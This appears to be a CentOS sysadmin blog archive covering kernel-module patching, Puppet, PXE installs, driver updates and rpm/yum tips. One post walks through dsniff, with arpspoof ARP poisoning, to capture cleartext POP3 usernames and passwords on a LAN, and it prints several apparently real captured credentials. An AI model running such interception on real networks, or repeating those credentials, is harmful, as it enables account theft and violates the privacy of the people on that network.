Dec 06

on a Dell PowerEdge 2950 I am using the Centos 5.x packages for x86_64 powered by the
OpenVZ kernels.
After the last update to the (as of Centos 5.2) latest kernel
2.6.18-92.1.1.el5.028stab057.2
I got alerted by the same kernel ERROR messages shown in the dmesg output:
….
Fusion MPT base driver 3.04.05
Copyright (c) 1999-2007 LSI Corporation
Fusion MPT misc device (ioctl) driver 3.04.05
mptctl: Registered with Fusion MPT base driver
mptctl: /dev/mptctl @ (major,minor=10,220)
mptctldrivers/message/fusion/mptctl.c::mptctl_ioctl() @596 – ioc0 not found!
mptctldrivers/message/fusion/mptctl.c::mptctl_ioctl() @596 – ioc1 not found!
mptctldrivers/message/fusion/mptctl.c::mptctl_ioctl() @596 – ioc2 not found!
….
These error messages seem to get triggered by IOCTL operations on the
device /dev/mptctl; you can reproduce them by doing a
/usr/bin/srvadmin-services.sh restart
srvadmin-services.sh is part of the Dell Server Management software
(Vers-5.2_rev-A00_Apr-2007 for the PowerEdge 2950; to be installed optionally);
the process behind dsm_sa_datamgr32d seems to be the only reader/writer
of the device file:
[root@d2950]# fuser /dev/mptctl
/dev/mptctl: 19331 22642
[root@d2950]# ps -flp 19331 22642
F S UID PID PPID C PRI NI ADDR SZ WCHAN STIME TTY TIME CMD
5 S root 19331 1 0 78 0 – 34354 stext 11:49 ? 0:04 /opt/dell/srvadmin/dataeng/bin/dsm_sa_datamgr32d
5 S root 22642 19331 0 78 0 – 31537 – 11:49 ? 0:00 /opt/dell/srvadmin/dataeng/bin/dsm_sa_datamgr32d
When rebooting the box with the formerly used kernel (as of Centos 5.1):
2.6.18-53.1.6.el5.028stab053.6xen
I see in dmesg output:
Fusion MPT misc device (ioctl) driver 3.04.04
mptctl: Registered with Fusion MPT base driver
mptctl: /dev/mptctl @ (major,minor=10,220)
–> so the new kernel (2.6.18-92.1.1.el5.028stab057.2) comes with a
new driver release … inspecting/comparing the source files for
the kernel module mptctl.ko we see:
=====File: /usr/src/redhat/BUILD/ovzkernel-2.6.18-53.1.6.el5.028stab053.6/\
linux-2.6.18.x86_64/drivers/message/fusion/mptctl.c
=================SNIP-START==
static long
__mptctl_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
mpt_ioctl_header __user *uhdr = (void __user *) arg;
mpt_ioctl_header khdr;
int iocnum;
unsigned iocnumX;
int nonblock = (file->f_flags & O_NONBLOCK);
int ret;
MPT_ADAPTER *iocp = NULL;
dctlprintk(("mptctl_ioctl() called\n"));
if (copy_from_user(&khdr, uhdr, sizeof(khdr))) {
printk(KERN_ERR "%s::mptctl_ioctl() @%d – "
"Unable to copy mpt_ioctl_header data @ %p\n",
__FILE__, __LINE__, uhdr);
return -EFAULT;
}
ret = -ENXIO; /* (-6) No such device or address */
/* Verify intended MPT adapter – set iocnum and the adapter
* pointer (iocp)
*/
iocnumX = khdr.iocnum & 0xFF;
if (((iocnum = mpt_verify_adapter(iocnumX, &iocp)) < 0) ||
(iocp == NULL)) {
-> dctlprintk((KERN_ERR "%s::mptctl_ioctl() @%d – ioc%d not found!\n",
-> __FILE__, __LINE__, iocnumX));
return -ENODEV;
}
=================SNIP-END==
=====File: /usr/src/redhat/BUILD/ovzkernel-2.6.18-92.1.1.el5.028stab057.2/\
linux-2.6.18.x86_64/drivers/message/fusion/mptctl.c
=================SNIP-START==
static long
__mptctl_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
mpt_ioctl_header __user *uhdr = (void __user *) arg;
mpt_ioctl_header khdr;
int iocnum;
unsigned iocnumX;
int nonblock = (file->f_flags & O_NONBLOCK);
int ret;
MPT_ADAPTER *iocp = NULL;
if (copy_from_user(&khdr, uhdr, sizeof(khdr))) {
printk(KERN_ERR MYNAM "%s::mptctl_ioctl() @%d – "
"Unable to copy mpt_ioctl_header data @ %p\n",
__FILE__, __LINE__, uhdr);
return -EFAULT;
}
ret = -ENXIO; /* (-6) No such device or address */
/* Verify intended MPT adapter – set iocnum and the adapter
* pointer (iocp)
*/
iocnumX = khdr.iocnum & 0xFF;
if (((iocnum = mpt_verify_adapter(iocnumX, &iocp)) < 0) ||
(iocp == NULL)) {
-> printk(KERN_DEBUG MYNAM "%s::mptctl_ioctl() @%d – ioc%d not found!\n",
-> __FILE__, __LINE__, iocnumX);
return -ENODEV;
}
=================SNIP-END==
we see that the newer (Centos 5.2 release) release of the mptctl.c changed
the ‘dctlprintk()’ statement into a ‘printk()’ … this means that a formerly
ONLY when compiling with DEBUG FLAGS ON (i.e. the module Makefile contains:
CFLAGS_mptctl.o += -DMPT_DEBUG_IOCTL)
active debug message print statement got enabled per default … and now we
get a whole lot of messages … it is not clear whether __mptctl_ioctl() should
really be that verbose …
Finally, on our Centos powered box, I was able to compile a more silent mptctl.ko:
[root@d2950]# diff drivers/message/fusion/mptctl.c drivers/message/fusion/mptctl.c-original
595,607c595,596
< #ifdef _MeJ__wants__MPT_DEBUG_IOCTL
< /* MeJ 02-Oct-2008
< we want to get rid of a whole lot of kernel error messages like:
< mptctldrivers/message/fusion/mptctl.c::mptctl_ioctl() @596 – ioc0 not found!
< mptctldrivers/message/fusion/mptctl.c::mptctl_ioctl() @596 – ioc1 not found!
< …..
< i.e. we disable the error message … in former versions of mptctl.c this
< printk() was active only when compiled with:
< CFLAGS_mptctl.o += -DMPT_DEBUG_IOCTL
< */
< printk(KERN_DEBUG MYNAM "%s::mptctl_ioctl() @%d – ioc%d not found!\n",
< __FILE__, __LINE__, iocnumX);
< #endif

> printk(KERN_DEBUG MYNAM "%s::mptctl_ioctl() @%d – ioc%d not found!\n",
> __FILE__, __LINE__, iocnumX);
and after
make
srvadmin-services.sh stop
rmmod mptctl
mv /lib/modules/2.6.18-92.1.1.el5.028stab057.2/kernel/drivers/message/fusion/mptctl.ko \
/lib/modules/2.6.18-92.1.1.el5.028stab057.2/kernel/drivers/message/fusion/mptctl.ko-original
cp drivers/message/fusion/mptctl.ko \
/lib/modules/2.6.18-92.1.1.el5.028stab057.2/kernel/drivers/message/fusion/mptctl.ko
modprobe -a mptctl
srvadmin-services.sh start
the problem is fixed … opensource is simply great ;-))))
Last but not least: Thanks to all of you for providing such a great distro like Centos to the
community!

Tagged with:
Dec 01

A puppet is an inanimate object or representational figure animated or manipulated by an entertainer, who is called a puppeteer. It is used in puppetry, a play or a presentation that is a very ancient form of theatre.

There are many different varieties of puppets, and they are made of a wide range of materials, depending on their form and intended use. They can be extremely complex or very simple in their construction. They may even be found objects. As Oscar Wilde wrote, “There are many advantages in puppets. They never argue. They have no crude views about art. They have no private lives.

Start Install puppet

1. install ruby

yum install ruby ruby-rdoc

2.install puppet server

wget http://download.fedora.redhat.com/pub/epel/5/i386/epel-release-5-4.noarch.rpm

rpm -Uvh epel-release-5-4.noarch.rpm

yum install puppet-server

chkconfig –level 2345 puppetmaster on

3.modify /etc/hosts file

192.168.1.2           puppet.mydomain.com    puppet

192.168.1.3           web1.mydomain.com  web1

4.install puppet client

wget http://download.fedora.redhat.com/pub/epel/5/i386/epel-release-5-4.noarch.rpm

rpm -Uvh epel-release-5-4.noarch.rpm

yum install puppet

chkconfig –level 2345 puppet on

5. edit file /etc/puppet/manifests/site.pp  (server side) & start puppet server

# Create  “/tmp/testfile” if it doesn’t exist.
class test_class {
file { “/tmp/testfile”:
ensure => present,
mode => 644,
owner => root,
group => root
}
}

# tell puppet on which client to run the class
node web1 {
include test_class
}

service puppetmaster start

6. start client

/etc/init.d/puppet once –v

7. view no sign client on puppet server

puppetca –list

8. sign for puppet client on puppet server

puppetca –sign web1.mydomain.com

9. test

puppetd –server puppet.mydomain.com --test
 
Tagged with:
Aug 03

view netcard driver version infomation:

[root@localhost DRIVER]# modinfo bnx2
filename: /lib/modules/2.6.18-164.el5/updates/bnx2.ko
version 2.0.2
license: GPL
desciption: Broadcom NetXtreme II BCM5706/5708/5709/5716 Driver

check netcard type

[root@localhost ~]# kudzu –probe –class=network
-
class: NETWORK
bus: PCI
detached: 0
device: eth0
driver: bnx2
desc: "Broadcom Corporation NetXtreme II BCM5716 Gigabit Ethernet"
network.hwaddr: 84:2b:2b:42:01:b1
vendorId: 14e4
deviceId: 163b
subVendorId: 1028
subDeviceId: 028c
pciType: 1
pcidom:    0
pcibus:  1
pcidev:  0
pcifn:  0

download new version driver from fllow url

http://www.broadcom.com/support/ethernet_nic/netxtremeii.php

Install src rpm and compile:

unzip linux-6.2.23.zip
cd Server/Linux/Driver
rpm ivh netxtreme2-6.2.23-1.src.rpm
cd /usr/src/redhat/
rpm -bb SPECS/netxtreme2.spec

Compile Success will output fllow info

Wrote: /usr/src/redhat/RPMS/i386/netxtreme2-4.8.10-1.i386.rpm
Executing(%clean): /bin/sh -e /var/tmp/rpm-tmp.59603
+ umask 022
+ cd /usr/src/redhat/BUILD
+ cd netxtreme2-4.8.10
+ rm -rf /var/tmp/netxtreme2-buildroot /usr/src/redhat/BUILD/file.list.netxtreme2
+ exit 0

Install rpm:

rpm -ivh RPMS/x86_64/netxtreme2-6.2.23-1.x86_64.rpm
1:netxtreme2 ######################## [100%]

reboot the host or run fllow script

vi lan-up.sh
#!/bin/sh 
rmmod bnx2
modprobe bnx2

view driver info

[root@localhost redhat]# modinfo bnx2
filename:       /lib/modules/2.6.18-194.el5/updates/bnx2.ko
version:        2.0.23b
license:        GPL
description:    Broadcom NetXtreme II BCM5706/5708/5709/5716 Driver
author:         Michael Chan <mchan@broadcom.com>
srcversion:     6E0DD070AB24C11F50B2712
alias:          pci:v000014E4d0000163Csv*sd*bc*sc*i*
alias:          pci:v000014E4d0000163Bsv*sd*bc*sc*i*
alias:          pci:v000014E4d0000163Asv*sd*bc*sc*i*
alias:          pci:v000014E4d00001639sv*sd*bc*sc*i*
alias:          pci:v000014E4d000016ACsv*sd*bc*sc*i*
alias:          pci:v000014E4d000016AAsv*sd*bc*sc*i*
alias:          pci:v000014E4d000016AAsv0000103Csd00003102bc*sc*i*
alias:          pci:v000014E4d0000164Csv*sd*bc*sc*i*
alias:          pci:v000014E4d0000164Asv*sd*bc*sc*i*
alias:          pci:v000014E4d0000164Asv0000103Csd00003106bc*sc*i*
alias:          pci:v000014E4d0000164Asv0000103Csd00003101bc*sc*i*
depends:       
vermagic:       2.6.18-194.el5 SMP mod_unload gcc-4.1
parm:           disable_msi:Disable Message Signaled Interrupt (MSI) (int)
parm:           stop_on_tx_timeout:For debugging purposes, prevent a chip  reset when a tx timeout occurs (int)

Tagged with:
Jul 01

Principle:
No optical drive, floppy drive of a server, you want to install Linux. We need an agreement by the PXE network card guide after installing Linux. Process: the machine starts – the NIC boot – Obtain an IP address via DHCP – tftp get through the most basic core file, use the kernel file to start the machine – then you can start the installation configuration, choose to use http, ftp, nfs install remotely access needed packages.

Clearly, the network installation is to be configured with the server. Our server needs to provide the following services:

DHCP,TFTP,NFS(FTP,HTTP)

1.dhcp config

  1. option domain-name "mydomain";
  2. ddns-update-style none;
  3. default-lease-time 600;
  4. max-lease-time 7200;
  5. server-name "bootserver";
  6. subnet 192.168.123.0 netmask 255.255.255.0 {
  7. range 192.168.123.200 192.168.123.201;
  8. deny unknown-clients;
  9. filename "pxelinux.0";
  10. }

filename followed by the tftp directory file, pxelinux.0 is the syslinux package files. Pxelinux.0 may default / usr / lib / syslinux directory must be copied to the tftp directory.

2. tftp config

Edit the file /etc/xinetd.d/tftp (if not, then add the tftp file) (if there xinetd.d, please install the xinetd package)

  1. service tftp
  2. {
  3. disable = no
  4. socket_type = dgram
  5. protocol = udp
  6. wait = yes
  7. user = root
  8. server = /usr/sbin/in.tftpd
  9. server_args = -s /tftpboot
  10. per_source = 11
  11. cps = 100 2
  12. flags = IPv4
  13. }

There will be / tftpboot tftp service is defined as the default directory, you can modify.
After saving restart /etc/init.d/xinetd service, you can open the tftp service.
How to test the success of open tftp?
In the tftp directory, create a file, such as 1.txt.
Tftp service connection in the Shell:
tftp 127.0.0.1
tftp> get 1.txt
If the service successfully opened, you can see a successful download prompt. And in the current directory to find 1.txt file.
Then copy the CD isolinux directory vmlinuz, initrd.img file to the / tftpboot directory.
In the inside / tftpboot folder syslinux.cfg. syslinux.cfg saved pxelinux in two profiles: default, list.

  1. default:
  2. default linux
  3. label linux
  4. kernel vmlinuz
  5. append initrdinitrd=initrd.img devfs=nomount nofb ramdisk_size=9216

You can write a lot of a label, depending on whether you also want this server how many versions of Linux available to the client installation. A version of a label, of course, kernel, and initrd file name can not be repeated.

  1. list:
  2. Choose one of the following Linux distributions for your installation:
  3. Name Distribution Arch. Installation media
  4. CentOS CentOS 4.4 i386 192.168.99.90:/

You can also add multiple lines to select a different release. Choose the time to fill in the contents under Name.

3. copy iso file

Copy the disc to the corresponding directory (ftp, http, nfs), if you are using http using the following command to copy multiple CDs to a directory:

[root@bootserver] # cp -arv /media/cdrom/* /install

4. config nfs

echo ‘/install/ 192.168.123.*(ro.sync)’ >>/etc/exports

        Start nfs Server “/etc/rc.d/init.d/nfs start”

5.  Start Host Press F12 by network boot it.

Tagged with:
Jun 22

Installing PHP 5.2.x or 5.3.x on RedHat ES5, CentOS 5, etc

To install PHP 5.2.5 (Highest in repository at this time) you can make use of a RPM repository maintained by Remi.

1. download about software

wget http://download.fedora.redhat.com/pub/epel/5/i386/epel-release-5-4.noarch.rpm
wget http://rpms.famillecollet.com/enterprise/remi-release-5.rpm

2. install

rpm -Uvh remi-release-5*.rpm epel-release-5*.rpm

3. update php

yum –enablerepo=remi update php

Tagged with:
Apr 07

dsniff is a collection of tools for network auditing and penetration testing. dsniff, filesnarf, mailsnarf, msgsnarf, urlsnarf, and webspy passively monitor a network for interesting data (passwords, e-mail, files, etc.). arpspoof, dnsspoof, and macof facilitate the interception of network traffic normally unavailable to an attacker (e.g, due to layer-2 switching). sshmitm and webmitm implement active monkey-in-the-middle attacks against redirected SSH and HTTPS sessions by exploiting weak bindings in ad-hoc PKI.

Home Page (http://monkey.org/~dugsong/dsniff/)

INSTALL Dsniff:

1. software list

libpcap-0.7.2.tar.gz

libnet-1.0.2a.tar.gz

libnids-1.18.tar.gz

dsniff-2.3.tar.gz

2. install gcc and openssl

yum –y install openssl gcc flex bison libpcap-devel libnet

3. install libnids

# tar zxvf libnids-1.18.tar.gz
# cd libnids-1.18
# ./configure
# make
# make install

4. install  dsniff

./configure  –prefix=/usr –-without-db

make

make install

   If your Centos Version is greater 5.3 you can use yum method install it.

yum install dsniff

5. Test dsniff

dsniff –n –i eth0

Output:

04/07/11 15:00:45 tcp 192.168.1.135.3791 -> 122.55.2.222.110 (pop3)
USER hr
PASS xxx123

—————–
04/07/11 15:01:19 tcp 192.168.1.196.4747 -> 122.55.2.222.110 (pop3)
USER cx
PASS chenxia1

—————–
04/07/11 15:01:20 tcp 192.168.1.134.2086 -> 122.55.2.222.110 (pop3)
USER aa-1@xxxx.com
PASS aa-11

—————–
04/07/11 15:01:44 tcp 192.168.1.150.3630 -> 122.55.2.222.110 (pop3)
USER aa-3@xxxx.com
PASS iker-31

5.1 Test 2 (urlsnarf -n -i eth1)

Output:

urlsnarf: listening on eth1 [tcp port 80 or port 8080 or port 3128]
192.168.1.75 – - [07/Apr/2011:15:07:11 +0800] "GET http://218.60.33.7/pos?f=f4v/8/74582008.h264_1.f4v&k=2mCVf5QX4RGNvGTweGoq15snchlv5&e=89170&s=20 HTTP/1.1" – - "http://www.cntingshu.com/js/player/TudouVideoPlayer_Homer_141.swf" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.45 Safari/534.16"
192.168.1.75 – - [07/Apr/2011:15:07:12 +0800] "GET http://218.60.33.7/pos?f=f4v/8/74582008.h264_1.f4v&k=2mCVf5QX4RGNvGTweGoq15snchlv5&e=71906&s=20 HTTP/1.1" – - "http://www.cntingshu.com/js/player/TudouVideoPlayer_Homer_141.swf" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.45 Safari/534.16"
192.168.1.137 – - [07/Apr/2011:15:07:13 +0800] "GET http://safeurl.maxthon.cn/data/config.dat HTTP/1.1" – - "-" "MxAgent"
192.168.1.75 – - [07/Apr/2011:15:07:13 +0800] "GET http://218.60.33.7/pos?f=f4v/8/74582008.h264_1.f4v&k=2mCVf5QX4RGNvGTweGoq15snchlv5&e=12334&s=0 HTTP/1.1" – - "http://www.cntingshu.com/js/player/TudouVideoPlayer_Homer_141.swf" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.45 Safari/534.16"

5.3 arp proxy (switch network sniffer)

echo "1" > /proc/sys/net/ipv4/ip_forward

arpspoof -t 192.168.1.100 192.168.1.1

       Open a new terminal

dsniff –n –i eth1

Tagged with:
Oct 28

I got a package dependency issue when updating our 64-bit CentOS server, which was caused by two perl packages installed (i386 and x86_64).

perl i386 4:5.8.8-32.el5_5.1 installed 28 M
perl x86_64 4:5.8.8-32.el5_5.1 installed 34 M

I tried to remove it using rpm command but didn’t work (maybe i just don’t know the correct params with rpm). My solution to remove package was using yum “remove package_name.architecture“. Ex: yum remove perl.i386

Any other shortcuts in deleting duplicate packages?

Tagged with:
Apr 22

Almost two months after RHEL5.4, Centos 5.4 was released on the 21st October. This version includes various changes into the virtualization field and it includes support for KVM (kernel-based virtual machine) hypervisor and the Xen hypervisor.

Also this release features many bug fixes and security updates, and should be an easy upgrade for users running centos5.x:
yum update

For the full list of packages changed/added please see the centos5.4 release notes: http://wiki.centos.org/Manuals/ReleaseNotes/CentOS5.4

Tagged with:
Mar 14

Anyone running centos/rhel x86_64 systems has probably noticed that redhat has a strange way to install a mix of i386 and x86_64 rpms on such a systems. This is how redhat is using the 64bit architecture in a mixed way to be able to support also i386 applications. This is completely different from how for example debian does this where you will not see by default any i386 libraries or duplicate applications installed (you can install and use ia32 libraries for compatibility reasons but the user is in full control on this process). The way how this works in rhel is confusing; let’s take a simple example (the commands are taken from a clean centos5.3 install with the base packages selected): let’s see what version of ncurses we have on the system:
rpm -qa | grep ncurses
ncurses-5.5-24.20060715
ncurses-5.5-24.20060715

what? why is this listed twice? hmm… Running: rpm -qi ncurses-5.5-24.20060715 will also list the package twice (but doesn’t show the difference). We can assume one is i386 and one is x86_64 right? but we can’t see this.

To overcome this issue, and at least have rpm report the proper versions we have to add in our rpmmacros file a new line like: “%_query_all_fmt %%{name}-%%{version}-%%{release}.%%{arch}” that will add to the rpm output the architecture and allow us to see the this:

cat >> ~/.rpmmacros
%_query_all_fmt %%{name}-%%{version}-%%{release}.%%{arch}

and now running the same command will return a more intuitive and meaningful:

rpm -qa | grep ncurses

ncurses-5.5-24.20060715.x86_64

ncurses-5.5-24.20060715.i386

This doesn’t fix anything in how yum will install duplicate programs or libraries, but at least it will allow us to see the full name of the packages in rpm commands. Theoretically people should be able to add into yum.conf (this is the default anyway, so you might have it already):

exactarch=1

and yum will install by default the packages of the arch it is running on (x86_64 in our case). Still, this will not prevent i386 dependencies to show up and be installed. In case you want to completely ignore other arch packages add in the [main] section of /etc/yum.conf to exclude all 32bit packages,:

exclude=*.i386 *.i586 *.i686

and this will completely exclude them completely from yum operations. Please use this with care, and only if you have a full understanding of the implications to exclude those packages.

Even if you don’t exclude the 32bit packages as shown above, it is a good idea to add the arch to all yum operations (like install, remove, etc.), like:

yum install ncurses.x86_64

Hopefully you found this post useful, and have now a better understanding on how rhel/centos use the i368 and x86_64 packages and libraries with rpm and yum on a 64bit installation.

Tagged with:
Mar 10

Almost two months after RHEL5.4, Centos 5.4 was released on the 21st October. This version includes various changes into the virtualization field and it includes support for KVM (kernel-based virtual machine) hypervisor and the Xen hypervisor.

Also this release features many bug fixes and security updates, and should be an easy upgrade for users running centos5.x:
yum update

For the full list of packages changed/added please see the centos5.4 release notes: http://wiki.centos.org/Manuals/ReleaseNotes/CentOS5.4

Tagged with:
preload preload preload